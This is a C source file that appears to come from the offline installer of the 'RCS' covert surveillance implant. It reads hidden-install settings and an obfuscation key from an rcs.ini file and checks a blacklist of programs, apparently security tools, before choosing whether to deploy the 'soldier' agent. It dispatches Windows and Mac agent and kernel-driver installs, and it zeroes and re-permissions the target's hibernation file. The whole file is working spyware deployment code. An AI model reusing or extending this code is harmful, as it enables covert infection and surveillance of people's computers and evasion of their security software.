#include "stdafx.h"
#include "Functions_Users.h"
#include "Functions_RCS.h"
#include "Functions_RCS_WIN.h"
#include "Functions_RCS_MAC.h"
#include "DumpFiles.h"
#include "commons.h"

#define MAX_BL_PROGRAM_COUNT 50
#define MAX_BL_PROGRAM_NAME 100

typedef struct blporgrams {
	WCHAR name[MAX_BL_PROGRAM_NAME];
#define ARCH_ANY 0
	DWORD arch;
	BOOL allow_soldier;
} blporgrams_t;

blporgrams_t BLPrograms[MAX_BL_PROGRAM_COUNT];
DWORD bl_program_count = 0;

BOOL GetSourceFileDirectory(users_struct_t *curr_user, os_struct_t *curr_elem, rcs_struct_t *rcs_info, WCHAR *src_path)
{
	if (curr_elem->os == WIN_OS) {
		WIN_GetSourceFileDirectory(curr_user, rcs_info, src_path);
		return TRUE;
	} else if (curr_elem->os == MAC_OS) {
		MAC_GetSourceFileDirectory(curr_user, rcs_info, curr_elem, src_path);
		return TRUE;
	} else 
		return FALSE; // UNKNOWN
}

DWORD IsDangerousString(WCHAR *program_name, os_struct_t *os_info)
{
	DWORD i, ret_val = BL_SAFE;

	for (i=0; i<bl_program_count; i++)
		if (CmpWildW(BLPrograms[i].name, program_name) && (BLPrograms[i].arch == ARCH_ANY || BLPrograms[i].arch == os_info->arch)) {
			if (BLPrograms[i].allow_soldier)
				ret_val = BL_ALLOWSOLDIER;
			else
				return BL_BLACKLISTED;
		}
	return ret_val;
}

void PopulateDangerousString(rcs_struct_t *rcs_info)
{
	HANDLE hfile, hMap;
	WCHAR bl_path[MAX_PATH];
	char *bl_map, *ptr;
	WCHAR *w_ptr;
	WCHAR *temp_name = NULL;

	bl_program_count = 0;
	
	swprintf_s(bl_path, MAX_PATH, L"%s\\blacklist", rcs_info->rcs_files_path);
	hfile = CreateFile(bl_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hfile == INVALID_HANDLE_VALUE) 
		return;

	if ((hMap = CreateFileMappingW(hfile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) {
		CloseHandle(hfile);
		return;
	}

	if ( (bl_map = (char *)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) ) {
		for(ptr = bl_map; ptr && bl_program_count < MAX_BL_PROGRAM_COUNT;) {

			if (!(temp_name = UTF8_2_UTF16(ptr)))
				break;
			
			// Formato A|B|C|D|Nome\r\n
			// A = Versione (numero, 1 byte)
			// B = * se vale per tutti i metodi di infezione, N se vale solo per l'upgrade da scout
			// C = B se blacklisted, S se permette di installare il soldier

			// La considera solo se e' una regola anche per l'offline
			if (temp_name[2] == L'*') {

				if (temp_name[4] == L'S')
					BLPrograms[bl_program_count].allow_soldier = TRUE;
				else
					BLPrograms[bl_program_count].allow_soldier = FALSE;

				if (temp_name[6] == L'3') // Vede se e' 32
					BLPrograms[bl_program_count].arch = 32;
				else if (temp_name[6] == L'6') // Vede se e' 64
					BLPrograms[bl_program_count].arch = 64;
				else
					BLPrograms[bl_program_count].arch = ARCH_ANY;

				// Toglie l'a capo finale e inserisce un altro *
				if (w_ptr = wcschr(temp_name, L'\r'))
					*w_ptr = 0;
				if (w_ptr = wcschr(temp_name, L'\n'))
					*w_ptr = 0;

				if (w_ptr = wcschr(&(temp_name[6]), L'|')) {
					w_ptr++;
					_snwprintf_s(BLPrograms[bl_program_count].name, MAX_BL_PROGRAM_NAME, _TRUNCATE, L"*%s*", w_ptr);
					bl_program_count++;
				}
			}

			SAFE_FREE(temp_name);
			if (ptr = strchr(ptr, '\n')) 
				ptr++;
		}

		UnmapViewOfFile(bl_map);
	}
	CloseHandle(hMap);
	CloseHandle(hfile);
}

BOOL ReadRCSInfo(rcs_struct_t *rcs_info)
{
	WCHAR drive_list[512];
	WCHAR mask_string[4096];
	WCHAR scramble_byte[16]; 
	DWORD drive_len, i;
	HANDLE hfile;
	
	if(!(drive_len = GetLogicalDriveStrings(sizeof(drive_list) / sizeof(drive_list[0]), drive_list)))
		return FALSE;

	rcs_info->rcs_files_path[0] = L'\0';

	for(i = 0; i < drive_len; i += 4) {
		swprintf_s(rcs_info->rcs_ini_path, MAX_PATH, L"%s%s", &drive_list[i], L"RCSPE\\rcs.ini");
		hfile = CreateFile(rcs_info->rcs_ini_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
		if (hfile != INVALID_HANDLE_VALUE) {
			CloseHandle(hfile);
			swprintf_s(rcs_info->rcs_files_path, MAX_PATH, L"%s%s", &drive_list[i], L"RCSPE\\files\\");
			break;
		}
	}

	if(rcs_info->rcs_files_path[0] == L'\0') {
		return FALSE;
	}

	// Carica la lista dei programmi in blacklist
	PopulateDangerousString(rcs_info);

	if(!GetPrivateProfileString(L"RCS", L"VERSION", L"", rcs_info->version, sizeof(rcs_info->version)/sizeof(rcs_info->version[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}
	if(!GetPrivateProfileString(L"RCS", L"HDIR", L"", rcs_info->new_hdir, sizeof(rcs_info->new_hdir)/sizeof(rcs_info->new_hdir[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}
	if(!GetPrivateProfileString(L"RCS", L"HREG", L"", rcs_info->hreg, sizeof(rcs_info->hreg)/sizeof(rcs_info->hreg[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}
	if(!GetPrivateProfileString(L"RCS", L"HCORE", L"", rcs_info->hcore, sizeof(rcs_info->hcore)/sizeof(rcs_info->hcore[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}
	if(!GetPrivateProfileString(L"RCS", L"HDRV", L"", rcs_info->hdrv, sizeof(rcs_info->hdrv)/sizeof(rcs_info->hdrv[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}
	if(!GetPrivateProfileString(L"RCS", L"DRIVER64", L"", rcs_info->hdrv64, sizeof(rcs_info->hdrv64)/sizeof(rcs_info->hdrv64[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}
	if(!GetPrivateProfileString(L"RCS", L"HSYS", L"", rcs_info->hsys, sizeof(rcs_info->hsys)/sizeof(rcs_info->hsys[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}
	if(!GetPrivateProfileString(L"RCS", L"HKEY", L"", scramble_byte, sizeof(scramble_byte)/sizeof(scramble_byte[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}
	swscanf_s(scramble_byte, L"%X", &(rcs_info->hscramb));

	if(!GetPrivateProfileString(L"RCS", L"HUID", L"", rcs_info->rcs_name, sizeof(rcs_info->rcs_name)/sizeof(rcs_info->rcs_name[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}

	if(!GetPrivateProfileString(L"RCS", L"FUNC", L"", rcs_info->func_name, sizeof(rcs_info->func_name)/sizeof(rcs_info->func_name[0]), rcs_info->rcs_ini_path)) {
		return FALSE;
	}

	if(!GetPrivateProfileString(L"RCS", L"SOLD", L"", rcs_info->soldier_name, sizeof(rcs_info->soldier_name)/sizeof(rcs_info->soldier_name[0]), rcs_info->rcs_ini_path)) {
		_snwprintf_s(rcs_info->soldier_name, 32, _TRUNCATE, L"NOT-PRESENT");
	}

	if(!GetPrivateProfileString(L"RCS", L"MASK", L"", mask_string, sizeof(mask_string)/sizeof(mask_string[0]), rcs_info->rcs_ini_path)) 
		rcs_info->masks = NULL;
	else
		rcs_info->masks = PopulateMasks(mask_string);

	if(!GetPrivateProfileString(L"RCS", L"HOLDDIR", L"", rcs_info->hdir, sizeof(rcs_info->hdir)/sizeof(rcs_info->hdir[0]), rcs_info->rcs_ini_path)) 
		memcpy(rcs_info->hdir, rcs_info->new_hdir, sizeof(rcs_info->hdir));

	if(!GetPrivateProfileString(L"RCS", L"HOLDREG", L"", rcs_info->old_hreg, sizeof(rcs_info->old_hreg)/sizeof(rcs_info->old_hreg[0]), rcs_info->rcs_ini_path)) 
		memcpy(rcs_info->old_hreg, rcs_info->hreg, sizeof(rcs_info->old_hreg));

	return TRUE;
}

BOOL RCSInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info)
{
	if (os_info->os == WIN_OS)
		return WIN_RCSInstall(rcs_info, user_info, os_info);
	else if (os_info->os == MAC_OS)
		return MAC_RCSInstall(rcs_info, user_info, os_info);
	else
		return NULL;
}

BOOL RCSUnInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info)
{
	if (os_info->os == WIN_OS)
		return WIN_RCSUnInstall(rcs_info, user_info, os_info);
	else if (os_info->os == MAC_OS)
		return MAC_RCSUnInstall(rcs_info, user_info, os_info);
	else
		return NULL;
}

BOOL DriverInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list)
{
	if (os_info->os == WIN_OS)
		return WIN_DriverInstall(os_info, rcs_info, user_list);
	else if (os_info->os == MAC_OS)
		return MAC_DriverInstall(os_info, rcs_info, user_list);
	else
		return NULL;
}

BOOL DriverUnInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list, DWORD installation_count)
{
	if (os_info->os == WIN_OS)
		return WIN_DriverUnInstall(os_info, rcs_info, user_list, installation_count);
	else if (os_info->os == MAC_OS)
		return MAC_DriverUnInstall(os_info, rcs_info, user_list, installation_count);
	else
		return NULL;
}

BOOL IsHybernated(os_struct_t *os_info)
{
	HANDLE hfile;
	WCHAR hyb_path[MAX_PATH];
	BYTE buff[4];
	DWORD dummy;
	
	swprintf_s(hyb_path, sizeof(hyb_path)/sizeof(hyb_path[0]), L"%shiberfil.sys", os_info->drive);
	hfile = CreateFile(hyb_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hfile == INVALID_HANDLE_VALUE) 
		return FALSE;

	if (!ReadFile(hfile, buff, 4, &dummy, NULL)) {
		CloseHandle(hfile);
		return FALSE;
	}

	CloseHandle(hfile);

	if (!memcmp(buff, "HIBR", 4) || !memcmp(buff, "hibr", 4) || !memcmp(buff, "WAKE", 4) || !memcmp(buff, "wake", 4))
		return TRUE;

	return FALSE;
}

void InvalidateHybernated(os_struct_t *os_info)
{
	HANDLE hfile;
	WCHAR hyb_path[MAX_PATH];
	BYTE buff[4];
	DWORD dummy;

	swprintf_s(hyb_path, sizeof(hyb_path)/sizeof(hyb_path[0]), L"%shiberfil.sys", os_info->drive);
	hfile = CreateFile(hyb_path, GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
	if (hfile == INVALID_HANDLE_VALUE)
		return;

	ZeroMemory(buff, 4);
	WriteFile(hfile, buff, 4, &dummy, NULL);
	CloseHandle(hfile);
}

void RestoreHybernationPermissions(os_struct_t *os_info)
{
	WCHAR hyb_path[MAX_PATH];
	
	swprintf_s(hyb_path, sizeof(hyb_path)/sizeof(hyb_path[0]), L"%shiberfil.sys", os_info->drive);
	SetFileAttributes(hyb_path, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_ARCHIVE);
}

void ModifyHybernationPermissions(os_struct_t *os_info)
{
	WCHAR hyb_path[MAX_PATH];
	
	swprintf_s(hyb_path, sizeof(hyb_path)/sizeof(hyb_path[0]), L"%shiberfil.sys", os_info->drive);
	SetFileAttributes(hyb_path, FILE_ATTRIBUTE_NORMAL);
	AddAceToObjectsSecurityDescriptor(hyb_path, SE_FILE_OBJECT, L"System", TRUSTEE_IS_NAME, STANDARD_RIGHTS_ALL, GRANT_ACCESS, CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE); 
}

.